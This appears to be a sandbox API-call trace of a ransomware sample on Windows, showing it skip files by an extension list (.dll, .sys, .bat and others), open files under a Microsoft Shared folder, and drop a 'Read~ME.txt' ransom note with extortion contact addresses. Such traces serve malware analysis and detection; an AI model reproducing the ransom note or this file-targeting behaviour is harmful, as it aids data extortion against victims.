	[0078.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0d30 | out: hHeap=0x300000) returned 1
	[0078.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.629] RtlWakeConditionVariable () returned 0x365f70
	[0078.629] GetCurrentThreadId () returned 0x3a4
	[0078.629] GetCurrentThreadId () returned 0x3a4
	[0078.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0f90 | out: hHeap=0x300000) returned 1
	[0078.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6960 | out: hHeap=0x300000) returned 1
	[0078.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0f90
	[0078.629] lstrlenW (lpString=".scr") returned 4
	[0078.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".scr") returned 0x0
	[0078.630] lstrlenW (lpString=".cmd") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".cmd") returned 0x0
	[0078.630] lstrlenW (lpString=".dll") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".dll") returned 0x0
	[0078.630] lstrlenW (lpString=".bat") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".bat") returned 0x0
	[0078.630] lstrlenW (lpString=".cpl") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".cpl") returned 0x0
	[0078.630] lstrlenW (lpString=".sys") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".sys") returned 0x0
	[0078.630] lstrlenW (lpString=".msc") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".msc") returned 0x0
	[0078.630] lstrlenW (lpString=".com") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".com") returned 0x0
	[0078.630] lstrlenW (lpString=".lnk") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".lnk") returned 0x0
	[0078.630] lstrlenW (lpString=".msp") returned 4
	[0078.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".msp") returned 0x0
	[0078.630] lstrlenW (lpString=".pif") returned 4
	[0078.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch=".pif") returned 0x0
	[0078.631] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0f90 | out: hHeap=0x300000) returned 1
	[0078.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.646] RtlWakeConditionVariable () returned 0x365f70
	[0078.646] GetCurrentThreadId () returned 0x3a4
	[0078.646] GetCurrentThreadId () returned 0x3a4
	[0078.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b13b8 | out: hHeap=0x300000) returned 1
	[0078.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b20 | out: hHeap=0x300000) returned 1
	[0078.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b13b8
	[0078.646] lstrlenW (lpString=".scr") returned 4
	[0078.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".scr") returned 0x0
	[0078.646] lstrlenW (lpString=".cmd") returned 4
	[0078.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".cmd") returned 0x0
	[0078.646] lstrlenW (lpString=".dll") returned 4
	[0078.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".dll") returned 0x0
	[0078.646] lstrlenW (lpString=".bat") returned 4
	[0078.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".bat") returned 0x0
	[0078.646] lstrlenW (lpString=".cpl") returned 4
	[0078.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".cpl") returned 0x0
	[0078.646] lstrlenW (lpString=".sys") returned 4
	[0078.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".sys") returned 0x0
	[0078.646] lstrlenW (lpString=".msc") returned 4
	[0078.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".msc") returned 0x0
	[0078.647] lstrlenW (lpString=".com") returned 4
	[0078.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".com") returned 0x0
	[0078.647] lstrlenW (lpString=".lnk") returned 4
	[0078.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".lnk") returned 0x0
	[0078.647] lstrlenW (lpString=".msp") returned 4
	[0078.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".msp") returned 0x0
	[0078.647] lstrlenW (lpString=".pif") returned 4
	[0078.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch=".pif") returned 0x0
	[0078.647] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b13b8 | out: hHeap=0x300000) returned 1
	[0078.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.658] RtlWakeConditionVariable () returned 0x365f70
	[0078.658] GetCurrentThreadId () returned 0x3a4
	[0078.658] GetCurrentThreadId () returned 0x3a4
	[0078.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1618 | out: hHeap=0x300000) returned 1
	[0078.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c00 | out: hHeap=0x300000) returned 1
	[0078.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1618
	[0078.658] lstrlenW (lpString=".scr") returned 4
	[0078.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".scr") returned 0x0
	[0078.658] lstrlenW (lpString=".cmd") returned 4
	[0078.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".cmd") returned 0x0
	[0078.658] lstrlenW (lpString=".dll") returned 4
	[0078.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".dll") returned 0x0
	[0078.658] lstrlenW (lpString=".bat") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".bat") returned 0x0
	[0078.659] lstrlenW (lpString=".cpl") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".cpl") returned 0x0
	[0078.659] lstrlenW (lpString=".sys") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".sys") returned 0x0
	[0078.659] lstrlenW (lpString=".msc") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".msc") returned 0x0
	[0078.659] lstrlenW (lpString=".com") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".com") returned 0x0
	[0078.659] lstrlenW (lpString=".lnk") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".lnk") returned 0x0
	[0078.659] lstrlenW (lpString=".msp") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".msp") returned 0x0
	[0078.659] lstrlenW (lpString=".pif") returned 4
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch=".pif") returned 0x0
	[0078.659] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1618 | out: hHeap=0x300000) returned 1
	[0078.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.677] RtlWakeConditionVariable () returned 0x365f70
	[0078.677] GetCurrentThreadId () returned 0x3a4
	[0078.677] GetCurrentThreadId () returned 0x3a4
	[0078.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4b98 | out: hHeap=0x300000) returned 1
	[0078.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dfc0 | out: hHeap=0x300000) returned 1
	[0078.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4b98
	[0078.677] lstrlenW (lpString=".scr") returned 4
	[0078.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.677] lstrlenW (lpString=".cmd") returned 4
	[0078.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.677] lstrlenW (lpString=".dll") returned 4
	[0078.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.677] lstrlenW (lpString=".dll.mui") returned 8
	[0078.677] lstrlenW (lpString=".bat") returned 4
	[0078.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.677] lstrlenW (lpString=".cpl") returned 4
	[0078.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.677] lstrlenW (lpString=".sys") returned 4
	[0078.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.677] lstrlenW (lpString=".msc") returned 4
	[0078.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.678] lstrlenW (lpString=".com") returned 4
	[0078.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.678] lstrlenW (lpString=".lnk") returned 4
	[0078.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.678] lstrlenW (lpString=".msp") returned 4
	[0078.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.678] lstrlenW (lpString=".pif") returned 4
	[0078.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.678] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4b98 | out: hHeap=0x300000) returned 1
	[0078.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.739] RtlWakeConditionVariable () returned 0x365f70
	[0078.739] GetCurrentThreadId () returned 0x3a4
	[0078.739] GetCurrentThreadId () returned 0x3a4
	[0078.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0078.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f95b8 | out: hHeap=0x300000) returned 1
	[0078.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0078.739] lstrlenW (lpString=".scr") returned 4
	[0078.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.739] lstrlenW (lpString=".cmd") returned 4
	[0078.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.739] lstrlenW (lpString=".dll") returned 4
	[0078.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.739] lstrlenW (lpString=".dll.mui") returned 8
	[0078.739] lstrlenW (lpString=".bat") returned 4
	[0078.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.739] lstrlenW (lpString=".cpl") returned 4
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.740] lstrlenW (lpString=".sys") returned 4
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.740] lstrlenW (lpString=".msc") returned 4
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.740] lstrlenW (lpString=".com") returned 4
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.740] lstrlenW (lpString=".lnk") returned 4
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.740] lstrlenW (lpString=".msp") returned 4
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.740] lstrlenW (lpString=".pif") returned 4
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.740] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0078.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.741] RtlWakeConditionVariable () returned 0x365f70
	[0078.741] GetCurrentThreadId () returned 0x3a4
	[0078.741] GetCurrentThreadId () returned 0x3a4
	[0078.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b57a0 | out: hHeap=0x300000) returned 1
	[0078.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f95f0 | out: hHeap=0x300000) returned 1
	[0078.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b57a0
	[0078.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.796] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.796] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.797] CloseHandle (hObject=0x120) returned 1
	[0078.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b57a0 | out: hHeap=0x300000) returned 1
	[0078.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.798] RtlWakeConditionVariable () returned 0x365f70
	[0078.798] GetCurrentThreadId () returned 0x3a4
	[0078.798] GetCurrentThreadId () returned 0x3a4
	[0078.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0078.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9bd8 | out: hHeap=0x300000) returned 1
	[0078.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.798] lstrlenW (lpString=".scr") returned 4
	[0078.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.798] lstrlenW (lpString=".cmd") returned 4
	[0078.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.798] lstrlenW (lpString=".dll") returned 4
	[0078.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.798] lstrlenW (lpString=".dll.mui") returned 8
	[0078.798] lstrlenW (lpString=".bat") returned 4
	[0078.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.798] lstrlenW (lpString=".cpl") returned 4
	[0078.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.798] lstrlenW (lpString=".sys") returned 4
	[0078.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.798] lstrlenW (lpString=".msc") returned 4
	[0078.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.798] lstrlenW (lpString=".com") returned 4
	[0078.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.799] lstrlenW (lpString=".lnk") returned 4
	[0078.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.799] lstrlenW (lpString=".msp") returned 4
	[0078.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.799] lstrlenW (lpString=".pif") returned 4
	[0078.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.799] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0078.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.799] RtlWakeConditionVariable () returned 0x365f70
	[0078.799] GetCurrentThreadId () returned 0x3a4
	[0078.799] GetCurrentThreadId () returned 0x3a4
	[0078.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6370 | out: hHeap=0x300000) returned 1
	[0078.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c10 | out: hHeap=0x300000) returned 1
	[0078.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6370
	[0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.822] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.822] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.824] CloseHandle (hObject=0x120) returned 1
	[0078.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6370 | out: hHeap=0x300000) returned 1
	[0078.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.824] RtlWakeConditionVariable () returned 0x365f70
	[0078.824] GetCurrentThreadId () returned 0x3a4
	[0078.824] GetCurrentThreadId () returned 0x3a4
